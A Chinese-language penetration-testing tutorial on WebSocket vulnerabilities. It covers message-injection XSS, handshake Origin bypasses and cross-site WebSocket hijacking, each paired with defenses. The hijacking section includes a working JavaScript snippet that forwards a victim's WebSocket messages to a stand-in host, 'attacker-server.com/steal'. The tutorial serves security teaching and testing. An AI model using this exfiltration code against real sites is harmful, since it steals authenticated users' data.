WebSocket安全漏洞利用教学文档

1. WebSocket基础概念

1.1 Socket与WebSocket对比

Socket:

• 套接字API，介于应用层和传输层之间的抽象层
• 主流开发语言都提供socket函数
• 使用时需要提供协议、本地和远程的IP及端口

WebSocket:

• 为解决HTTP"请求-应答模式"限制而设计
• 全双工通信，双方可同时发送数据
• 应用层协议，与HTTP平级
• 默认使用80(ws)或443(wss)端口
• 需要先建立连接(基于HTTP升级)

1.2 WebSocket特点

• 双方都可主动发送消息
• 使用ws://或wss://协议前缀
• 在HTML5中通过JavaScript操作
• 连接建立过程:
  • Connection头必须为Upgrade
  • Upgrade头必须为websocket
  • Sec-WebSocket-Version表示支持版本(通常为13)
  • Sec-WebSocket-Key是客户端生成的随机字符串

2. WebSocket安全漏洞利用

2.1 WebSocket消息操纵攻击

攻击场景:

• 在线聊天功能等使用WebSocket的应用
• 消息在前端展示时未正确过滤

攻击步骤:

1. 识别WebSocket通信(使用Burp Suite等工具)
2. 观察消息在前端的展示方式
3. 尝试构造XSS等恶意载荷
4. 直接发送恶意WebSocket消息

防御措施:

• 对所有用户输入进行严格过滤
• 实现输出编码
• 使用内容安全策略(CSP)

2.2 WebSocket握手操纵攻击

攻击场景:

• 服务器对Origin等握手头验证不严
• 黑名单机制存在缺陷

攻击方法:

1. 修改Origin头尝试绕过检查
2. 使用X-Forwarded-For等头伪造IP
3. 尝试大小写混淆等绕过技术

防御措施:

• 严格验证Origin头
• 实现白名单机制而非黑名单
• 对关键字段进行规范化处理

2.3 跨站WebSocket劫持(CSWSH)

攻击原理:

• 类似CSRF，利用用户已认证状态建立WebSocket连接
• 通过恶意页面诱导用户访问

攻击步骤:

1. 检查目标是否缺乏CSRF防护(token或Origin验证)
2. 构造恶意HTML页面包含WebSocket连接代码
3. 诱使用户访问该页面
4. 通过WebSocket获取敏感信息并外传

利用代码示例:

<script>
var ws = new WebSocket('wss://target-website.com/ws');
ws.onopen = function() {
    ws.send("READY"); 
};
ws.onmessage = function(event) {
    fetch('https://attacker-server.com/steal', {
        method: 'POST', 
        mode: 'no-cors', 
        body: event.data
    });
};
</script>

防御措施:

• 验证Origin头
• 使用CSRF令牌
• 限制WebSocket连接来源

3. 渗透测试实践指南

3.1 识别WebSocket通信

• 使用Burp Suite等代理工具
• 查找状态码101的请求
• 关注"Upgrade: websocket"头
• 使用HaE等插件高亮标记WebSocket流量

3.2 测试工具与方法

1. Burp Suite:

   • 拦截WebSocket消息
   • 修改并重放消息
   • 测试握手过程

2. 手动测试:

   • 尝试XSS、SQL注入等常见Web攻击
   • 测试Origin头验证
   • 检查CSRF防护

3. 自动化工具:

   • OWASP ZAP
   • WebSocket专门测试工具

3.3 漏洞利用技巧

• 当<>被编码时尝试其他XSS向量
• 结合DOM型XSS技术
• 利用WebSocket进行数据外泄
• 尝试协议降级攻击(从wss到ws)

4. 防御最佳实践

1. 输入验证:

   • 对所有WebSocket消息进行严格验证
   • 实现白名单过滤机制

2. 输出编码:

   • 对所有输出到前端的数据进行编码
   • 根据上下文使用HTML、JS等不同编码方式

3. 认证与授权:

   • 对WebSocket连接实施严格认证
   • 基于用户权限限制可访问功能

4. 安全配置:

   • 使用wss而非ws
   • 配置合理的CSP策略
   • 限制帧大小和连接速率

5. 监控与日志:

   • 记录所有WebSocket通信
   • 设置异常行为警报
   • 定期审计WebSocket使用情况

5. 总结

WebSocket作为现代Web应用的重要技术，在带来实时通信便利的同时也引入了新的安全风险。渗透测试人员应掌握WebSocket的测试方法，开发人员需了解相关防御措施。通过本指南介绍的技术和方法，可以有效识别和防范WebSocket相关的安全威胁。